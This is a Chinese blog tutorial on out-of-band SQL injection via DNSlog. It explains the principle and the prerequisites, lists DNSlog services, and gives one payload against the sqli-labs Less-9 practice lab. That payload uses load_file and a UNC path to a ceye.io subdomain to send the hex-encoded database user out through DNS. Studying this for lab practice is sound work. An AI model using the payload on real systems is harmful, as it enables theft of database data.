当前位置: 首页 > news >正文

WEB安全--SQL注入--DNSlog外带

一、原理:

访问域名时,dns协议将我们访问的语句解析为ip地址,并将其记录在其日志中;在这个过程中,如果我们在语句中写入SQL注入的语句,那么在dns解析时会执行这些语句并通过concat将结果和域名一起记录在日志中,这时我们就能直接去日志中查看敏感信息。

二、条件:

1.mysql的my.ini文件中的secure_file_priv参数值要为空,secure_file_priv=""

2.用户的权限必须是root

3.网站是windows服务器,因为load_file()基于UNC格式读取,是windows系统特有的

三、网站:

DNSLog Platform

CEYE - Monitor service for security testing

登录 - DNSlog System

DNSLOG Platform

DNSLog Platform -- DNSLog

四、示例:

以sqli-labs第9关为例:

http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and (select load_file(concat('\\\\',(select hex(user())),'
.s5vuxg.ceye.io\\abc')))--+

因为一些字符不能直接回显在网页上,需要hex()转为十六进制

最后再转回来即可

相关文章:

  • c# 正则表达式基础知识
  • Hard Disk Sentinel:您的硬盘健康“全科医生”,守护数据安全的智能管家
  • STT-MRAM CIM 赋能边缘 AI:高性能噪声鲁棒贝叶斯神经网络宏架构详解
  • 进行交通流预测,使用KAN+Transformer模型
  • 好的服务设计怎么做?15个原则.服务的归一化设计原则是什么?
  • VMware Tools 安装详细教程(Ubuntu 虚拟机)
  • 堆(heap)
  • Shell 语法基础学习(二)
  • vue 获取当前时间并自动刷新
  • 解决 ECharts 切换图表时的 Resize 问题
  • STL---set常用函数
  • c语言笔记 结构体基础
  • QT QML实现音频波形图进度条,可点击定位或拖动进度
  • 单目3d detection算法记录
  • 24集《不负美食不负卿》联合出品制作签约仪式成功举行
  • 【运维自动化-标准运维】如何实现一个最简单的流程编排
  • 【Redis】Redis的数据删除(过期)策略,数据淘汰策略。
  • [Nowruz 1404] 2025 Crypto/PWN部分
  • 三月九次前端面试复盘:当场景题成为通关密钥
  • 使用 EchoAPI 实现 API 断言的全面指南
  • 婚姻登记“全国通办”首日,上海虹口登记中心迎来“甜蜜高峰”
  • 墨西哥宣布就“墨西哥湾”更名一事起诉谷歌
  • 图集|俄罗斯举行纪念苏联伟大卫国战争胜利80周年阅兵式
  • 国办印发《关于进一步加强困境儿童福利保障工作的意见》
  • 中日有关部门就日本水产品输华问进行第三次谈判,外交部回应
  • 看展览|2025影像上海艺博会:市场与当代媒介中的摄影